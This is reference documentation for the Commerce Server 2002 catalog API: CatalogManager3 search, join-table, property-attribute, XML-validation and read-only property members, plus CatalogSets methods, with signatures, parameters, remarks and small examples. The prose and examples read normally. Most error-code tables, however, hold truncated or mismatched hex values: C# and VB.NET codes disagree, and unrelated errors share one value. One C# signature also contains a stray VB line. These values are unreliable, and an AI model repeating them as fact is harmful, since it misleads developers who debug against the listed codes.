E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011 [Visual Basic .NET] &H889801D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011 [Visual Basic .NET] &H889801E | The Properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
S_FALSE | 1 | The search Failed. The recordset is now set to NULL.
E_CAT_MULTI_CAT_QUERY_NEEDS_PROPS | [C#] 0x8898000 [Visual Basic .NET] &H889800F | When performing a query against multiple catalogs, you should specify the actual properties to return.

Remarks

The returned Recordset object and the plTotalRecordsInQuery parameter contain valid data only if the method completes successfully.

The Search method is used to perform arbitrary lexical comparisons on words and phrases, and on product, product variant, and category data in one or more catalogs. It combines the functionality of the Query method and the FreeTextSearch method. It also adds the varLanguage parameter, which allows you to specify the language of the search. The Category.Search method is a related method used specifically for searching within a category.

The strSQLClause and strFTSPhrase parameters are both optional, but at least one of them must be supplied. If you only supply the strSQLClause parameter, this method functions like the Query method. If you only supply the strFTSPhrase parameter, this method functions like the FreeTextSearch method. If you supply both parameters, then only data that satisfies both search conditions will be returned. This allows you to construct sophisticated and very specific searches.

The following table shows the values of the CatalogClassTypeEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

If the varLanguage parameter is omitted the default value will depend on the number of catalogs specified in the strCatalogsToSearch parameter. If a single catalog is specified, the results will be returned in the default language of the catalog. If multiple catalogs are specified, the results will be returned in the default system language of the Web server. If a catalog does not support the selected language, only language insensitive properties will be returned for that catalog.

The programming rules regarding the strPropertiesToReturn parameter vary depending on whether a single catalog name is passed in the strCatalogsToSearch parameter, or whether multiple catalog names are passed. When a single catalog name is passed, the strPropertiesToReturn parameter is optional and defaults to all properties. When multiple catalog names are passed, the strPropertiesToReturn parameter is required.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog; otherwise it returns only the fields specified in the strPropertiesToReturn parameter. When specifying properties to return , and when specifying the strPropertyToSortOn parameter, enclose the field names in square brackets to avoid unintentional effects in the SQL query created by this method. For example, use "[Property1], [Property2]" to specify two properties.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.SetDefinitionProperties Method (PIA)

Use this method to change the properties of a category or product definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Sub SetDefinitionProperties(
  strDefinitionName As String,
  pRSProperties As _Recordset,
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset SetDefinitionProperties(
  string strDefinitionName,
  object pRSProperties
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the definition.
pRSProperties
The _Recordset interface to a Recordset object that specifies the new properties.
[C#]
strDefinitionName
A string that contains the name of the definition.
pRSProperties
The _Recordset interface to a Recordset object that specifies the new properties.
[C#]

Return Values

This method returns an ADODB26Lib._Recordset interface to a Recordset object that specifies the new properties.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B [Visual Basic .NET] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The definition you specified does not exist.
[Visual Basic .NET]

Example

myCatalogManager.SetDefinitionProperties("Shirt", pRSProperties)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateProperty


CatalogManager3.SetJoinTable Method (PIA)

Use this method to join an external table to a table in the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub SetJoinTable(
  strTargetTableName As String,
  strSourceJoinKey As String,
  strTargetJoinKey As String,
  eJoinType As CatalogJoinTypeEnum,
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetJoinTable(
Public Sub SetJoinTable(
  string strTargetTableName
  string strSourceJoinKey
  string strTargetJoinKey
  CatalogJoinTypeEnum eJoinType
);

Parameters

[Visual Basic .NET]
strTargetTableName
A String that contains the name of the external table or view with which to join.
strSourceJoinKey
A String that contains the name of the product property to join on.
strTargetJoinKey
A String that contains the name of the column in the external table or view to join against.
eJoinType
A CatalogJoinTypeEnum enumeration that specifies the join type. See the Remarks section for valid values.
[C#]
strTargetTableName
A string that contains the name of the external table or view with which to join.
strSourceJoinKey
A string that contains the name of the product property to join on.
strTargetJoinKey
A string that contains the name of the column in the external table or view to join against.
eJoinType
A CatalogJoinTypeEnum enumeration that specifies the join type. See the Remarks section for valid values.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B [Visual Basic .NET] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_JOIN_TYPE | [C#] 0x889800C [Visual Basic .NET] &H8898008 | The specified join type is either invalid or not supported.
E_CAT_INVALID_TARGET_TABLE | [C#] 0x889800C [Visual Basic .NET] &H8898009 | The target (join) table that was specified could not be found in the database.
E_CAT_INVALID_SOURCE_JOIN_KEY | [C#] 0x889800C [Visual Basic .NET] &H889800A | The specified source join-key is invalid.
E_CAT_INVALID_TARGET_JOIN_KEY | [C#] 0x889800C [Visual Basic .NET] &H889800B | The specified target join-key is invalid.

Remarks

You cannot set multiple join keys for a given source field. For example, you cannot use "ProductCode, VariantCode" as a valid string for the strTargetJoinKey parameter.

After you have called the SetJoinTable method, any method that returns product data will join the normal output of the method with the external table. That is, the join will occur after any sorting or filtering specified in the method call is completed. This means that you cannot sort or filter on columns in the external table. All columns of the external table will be returned.

Join table information does not persist beyond the life of the CatalogManager object.

The following table shows the values in the CatalogJoinTypeEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
CMS_INNER_JOIN | 0 | Returns only rows where the keys are equal.
CMS_OUTER_JOIN_LEFT | 1 | Returns all rows in the Product Catalog System and matching rows in the target table.
CMS_OUTER_JOIN_RIGHT | 2 | Returns matching rows in the Product Catalog System and all rows in the target table.
CMS_OUTER_JOIN_FULL | 3 | Returns all rows in both tables.
CMS_NO_JOIN | -1 | Turns off the join with the external table.

When you use the ProductID, VariantID, or other indexed column in the CatalogProducts table as a join key, it is recommended that you index the join key column in the external joined table for better performance.

If you pass a parameter containing spaces to the SetJoinTable method, that parameter must be enclosed by square brackets([]).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateProperty


CatalogManager3.SetPropertyAttributes Method (PIA)

Use this method to change the attributes of a property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Sub SetPropertyAttributes(
  pRSNewState As _Recordset,
  Optional fForceUpdate As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetPropertyAttributes(
  _Recordset pRSNewState,
  object fForceUpdate
);

Parameters

[Visual Basic .NET]
pRSNewState
The _Recordset interface of a Recordset object that specifies the new attribute values.
fForceUpdate
An Object that specifies whether or not to force an update.
[C#]
pRSNewState
An ADODB26Lib._Recordset interface to a Recordset object that specifies the new attribute values.
fForceUpdate
An object that specifies whether or not to force an update. Set this to Type.Missing to enforce the default behavior.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table describes the COM exceptions that COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_INVALIDARG | [C#] 0x8007005 [Visual Basic .NET] &H8007007 | One or more arguments are invalid.
E_CAT_INVALID_RECORDSET | [C#] 0x889800A [Visual Basic .NET] &H889800E | The recordset you specified is either invalid or empty.
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_CANNOTCHANGE_DATATYPE | [C#] 0x8898010 [Visual Basic .NET] &H889801E | The datatype of this property cannot be changed.
E_CAT_INVALID_LANG_ATTRIBUTE | [C#] 0x889800F [Visual Basic .NET] &H8898002 | The Languagesensitive attribute of this property cannot be changed because this property is being used in one or more catalogs.
E_CAT_INVALID_ISFREETEXTSEARCHABLE_ATTRIBUTE | [C#] 0x8898003 [Visual Basic .NET] &H889800A | The attribute IsFreeTextSearchable can be set to only String, FilePath, and Enumeration datatypes.
E_CAT_INVALID_COLUMN_LENGTH | [C#] 0x8898004 [Visual Basic .NET] &H8898000 | The length specified for this property does not lie between 1 and 4000.
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_INVALID_PROPERTY_LENGTH | [C#] 0x8898005 [Visual Basic .NET] &H8898007 | The property you specified is being used as a ProductID or VariantID. You cannot decrease the maximum length of this property or change its data type.

Remarks

Use a Recordset object returned from either the GetPropertyAttributes method or the CreateProperty method as the pRSNewState parameter so that its time stamp can be compared with the time stamp of the existing property for error detection. You can change all attributes for a property except its data type.

[Visual Basic .NET]

Example

myCatalogManager.SetPropertyAttributes(pRSNewState, True)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateProperty

CatalogManager3.GetPropertyAttributes


CatalogManager3.ValidateXML Method (PIA)

Use this method to validate an XML-formatted file without actually importing it into the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function ValidateXML(
  strXMLFilePath As String,
) As Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset ValidateXML(
  string strXMLFilePath
);

Parameters

[Visual Basic .NET]
strXMLFilePath
A String that contains the path of the XML file.
[C#]
strXMLFilePath
A string that contains the path of the XML file.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid.

In the context of this method, S_FALSE indicates that the XML file contained errors. See the returned Recordset for the first 100 errors.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3 Properties (PIA)

Properties

Property | Type | Description
Catalogs | ADODB26Lib._Recordset | Stores a recordset containing a record for each catalog contained in the Product Catalog System, including their properties. This property is read-only.
CategoryDefinitions | ADODB26Lib._Recordset | Stores a recordset containing the names of all of the category definitions that currently exist in the Product Catalog System. This property is read-only.
CustomCatalogs | ADODB26Lib._Recordset | Stores a recordset containing a record for each custom catalog. These records include the custom catalog names and the names of the catalogs they are based on. This property is read-only.
ProductDefinitions | ADODB26Lib._Recordset | Stores a recordset containing the names of all the product definitions that currently exist in the Product Catalog System. This property is read-only.
Properties | ADODB26Lib._Recordset | Stores a recordset containing the name of each property that currently exists in the Product Catalog System. This property is read-only.


CatalogManager3.Catalogs Property (PIA)

The Catalogs property is a read-only Recordset object that describes all the catalogs in the Product Catalog System. The returned Recordset object includes the properties of each catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property Catalogs(
  Optional strSearchPhrase As String,
  Optional lStartingRecord As Object,
  Optional lNumRecords As Object,
  Optional strLanguage As String,
  Optional plTotalRecordsInQuery As Object
)As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset get_Catalogs(
  string strSearchPhrase,
  object lStartingRecord,
  object lNumRecords,
  string strLanguage,
  ref object plTotalRecordsInQuery
);

Parameters

[Visual Basic .NET]
strSearchPhrase
A String that contains the search phrase.
lStartingRecord
An Object that contains the starting record. A value of one (1) indicates the first record.
lNumRecords
An Object that contains the number of records requested.
strLanguage
A String that contains the ISO 639+1 language identifier. See the Remarks section for the usage of this parameter.
plTotalRecordsInQuery
An Object used to return the total number of catalogs that match the search phrase.
[C#]
strSearchPhrase
A string that contains the search phrase.
lStartingRecord
An object that contains the starting record. A value of one (1) indicates the first record.
lNumRecords
An object that contains the number of records requested.
strLanguage
A string that contains the ISO 639+1 language identifier. See the Remarks section for the usage of this parameter.
plTotalRecordsInQuery
An object used to return the total number of catalogs that match the search phrase.
[C#]

Return Values

This method returns an ADODB26Lib._Recordset interface to a Recordset object used to return the catalogs.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant Value Description
E_CAT_CATMGR_NOT_INITIALIZED

[C#] 0x889800B5

[Visual Basic .NET] &H889800B5

 The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER

[C#] 0x889800B7

[Visual Basic .NET] &H889800B7

The recordset pointer that you specified is invalid.
E_INVALIDARG

[C#] 0x80070057

[Visual Basic .NET] &H80070057

One or more arguments are invalid.
E_CAT_INVALID_SEARCH_CLAUSE

[C#] 0x8898011C

[Visual Basic .NET] &H8898011C

The search condition that you specified is invalid for one of the following reasons
  1. It contains -- or /* which should not be used outside of property names and property values T
  2. he parenthesis in the search condition do not match in number or alignment

Remarks

The recordset returned by this property is valid only if it is accessed successfully.

get_Catalogs does not show up in IntelliSense.

The returned recordset contains the following fields:

Field Name | Data Type | Description
CatalogName | String 128 characters | None
Locale | Integer | None
StartDate | DateTime | None
EndDate | DateTime | None
VariantID | String 128 characters | The name of the property that uniquely identifies a product variant.
ProductID | String 128 characters | The name of the property that uniquely identifies a product.
Currency | String 128 characters | None
WeightMeasure | String 128 characters | None
TimeStamp | Timestamp | None
CatalogID | Integer | The number that uniquely identifies a catalog.
CustomCatalog | Bit | A flag indicating whether this is a custom catalog.
FreeTextIndexCreated | DateTime | None
ProductTableUpdated | DateTime | None

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateCatalog

CatalogManager3.DeleteCatalog


CatalogManager3.CategoryDefinitions Property (PIA)

The CategoryDefinitions property is a read-only Recordset that contains the names of all the category definitions in the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property CategoryDefinitions As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset CategoryDefinitions {get;}
[C#]

Property Value

An ADODB26Lib._Recordset interface to a Recordset object containing category definitions.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid

Remarks

[Visual Basic .NET] The recordset returned by this property is valid only if it is accessed successfully.

[C#] The CategoryDefinitions parameter contains valid data only if the property was accessed successfully.

The returned Recordset will contain a single field called DefinitionName and one row for each category definition in the Product Catalog System. This field is a 128-character String.

If no category definitions are currently in the Product Catalog System, then the EOF property of the returned Recordset will be set to True.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateCategoryDefinition

CatalogManager3.DeleteDefinition


CatalogManager3.CustomCatalogs Property (PIA)

The CustomCatalogs property is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.


CatalogManager3.ProductDefinitions Property (PIA)

The ProductDefinitions property is a read-only Recordset object that contains the names of all the product definitions in the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property ProductDefinitions As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset ProductDefinitions{get;}
[C#]

Property Value

An ADODB26Lib._Recordset interface to a Recordset object containing the product definitions.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid

Remarks

The Recordset object contains valid data only if the property was accessed successfully.

The returned recordset will contain a single field called DefinitionName and one row for each product definition in the Product Catalog System. This field is a 128-character String.

If no product definitions are currently in the Product Catalog System, then the EOF property of the returned recordset will be set to True.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateProductDefinition

CatalogManager3.DeleteDefinition


CatalogManager3.Properties Property (PIA)

The Properties property is a read-only recordset that returns the name of each property that currently exists in the Product Catalog System. If the catalog name is specified, only properties used in that catalog are returned.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property Properties(
  Optional strCatalogName As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset get_Properties(
  object strCatalogName
);

Parameters

[Visual Basic .NET]
strCatalogName
An Object that contains the name of the catalog for which the properties are returned. If this optional parameter is omitted, all properties are returned.
[C#]
strCatalogName
An object that contains the name of the catalog for which the properties are returned. If this optional parameter is set to Type.Missing, all properties are returned.
[C#]

Return Values

This method returns an ADODB26Lib._Recordset interface to a Recordset object used to return the properties.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table describes the COM errors that COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_CATALOGNAME | [C#] 0x8898006 [Visual Basic .NET] &H8898003 | The Catalog Name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x8898004 [Visual Basic .NET] &H8898002 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003 [Visual Basic .NET] &H889800D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.

Remarks

[Visual Basic .NET]

The Recordset object contains valid data only if the property was accessed successfully.

This method returns a Recordset object containing a row for each property returned. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

[C#]

This method returns the _Recordset interface to a Recordset object containing a row for each property returned. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

get_Properties does not show up in IntelliSense.

[Visual Basic .NET]

Example

rsProps = myCatalogManager.Properties("ShoesCatalog")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateProperty

CatalogManager3.DeleteProperty


PropertyAttribute Recordset (PIA)

The PropertyAttribute recordset reflects the property definitions found in the CatalogAttributes table.

The following table shows the fields in the PropertyAttribute recordset.

Field Name | Data Type
PropertyName | String
DataType | Small integer
u_DefaultValue | String
i_DefaultValue | Integer
dt_DefaultValue | datetime
cy_DefaultValue | money
f_DefaultValue | bit
fp_DefaultValue | float
i_MinValue | Integer
i_MaxValue | Integer
dt_MinValue | datetime
dt_MaxValue | datetime
fp_MinValue | float
fp_MaxValue | float
IsFreeTextSearchable | bit
IncludeInSpecSearch | bit
MinLength | Integer
MaxLength | Integer
cy_MinValue | money
cy_MaxValue | money
TimeStamp | timestamp
DisplayOnSite | bit
DisplayName | String
AssignAll | bit
ExportToDW | bit
DisplayInProductsList | bit


CatalogSets Class (PIA)

Use this object to work with catalog sets in the Catalog Management System. Catalog sets allow you to present different collections of catalogs to different users and organizations.

Methods

Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Removes a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)


CatalogSets Methods (PIA)

Methods

Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Removes a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.


CatalogSets.CreateCatalogSet Method (PIA)

Use this method to create a new catalog set in the catalog database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function CreateCatalogSet(
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As _Recordset
) As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public string CreateCatalogSet(
  string CatalogSetName,
  string CatalogSetDescription,
  bool bWildCard,
  _Recordset CatalogNamesRS
);

Parameters

[Visual Basic .NET]
CatalogSetName
A String that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription
A String that contains a description of the new catalog set.
bWildCard
A Boolean that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS
The _Recordset interface of a Recordset object that specifies the catalogs to be included in the new catalog set. The Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is True, then this parameter will be ignored.
[C#]
CatalogSetName
A string that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription
A string that contains a description of the new catalog set.
bWildCard
A bool that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS
An ActiveX Data Objects (ADO) ADODB26Lib._Recordset interface to a Recordset object that specifies the catalogs to be included in the new catalog set. The Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is true, then this parameter will be ignored and a value of Type.Missing can be used

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the ID of the new catalog set.

[C#] This method returns a string containing the automatically generated ID (GUID) of the new catalog set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

'The following example shows the creation of a catalog set
'associated with all the catalogs in the catalog management system.
strCatalogSetID = myCatalogSets.CreateCatalogSet( _
  "PremiumCatalogs", "Premium catalog set", True)

'The following example shows the creation of a catalog set
'associated with two specific catalogs.
rsCatalogNames = New Recordset()
rsCatalogNames.Fields.Append("CatalogName", DataTypeEnum.adBSTR)
rsCatalogNames.Open()
rsCatalogNames.AddNew()
rsCatalogNames.Fields("CatalogName").Value = "Catalog1"
rsCatalogNames.Update()
rsCatalogNames.AddNew()
rsCatalogNames.Fields("CatalogName").Value = "Catalog2"
rsCatalogNames.Update()

strCatalogSetID = myCatalogSets.CreateCatalogSet( _
  "CombinedCatalog", "A one and a two", False, rsCatalogNames)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.DeleteCatalogSet Method (PIA)

Use this method to delete an existing catalog set from the catalog database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
PublicSub DeleteCatalogSet(
  CatalogSetID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteCatalogSet(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the ID of the catalog set to be deleted.
[C#]
CatalogSetID
A string that contains the GUID of the catalog set to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Deleting a catalog set does not delete the catalog set ID. Referencing an invalid catalog set ID will prevent access to the solution sites.

[Visual Basic .NET]

Example

'strCatalogSetID1 is a GUID
myCatalogSets.DeleteCatalogSet(strCatalogSetID1)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.GetCatalogs Method (PIA)

Use this method to return a list of all catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogs() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogs();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of all catalogs.

[C#] This method returns a _Recordset interface to a Recordset object that will contain catalogs.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Recordset object returned by this method has a single 128-character field, named CatalogName.

[Visual Basic .NET]

Example

rsMyCatalogs = myCatalogSets.GetCatalogs()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

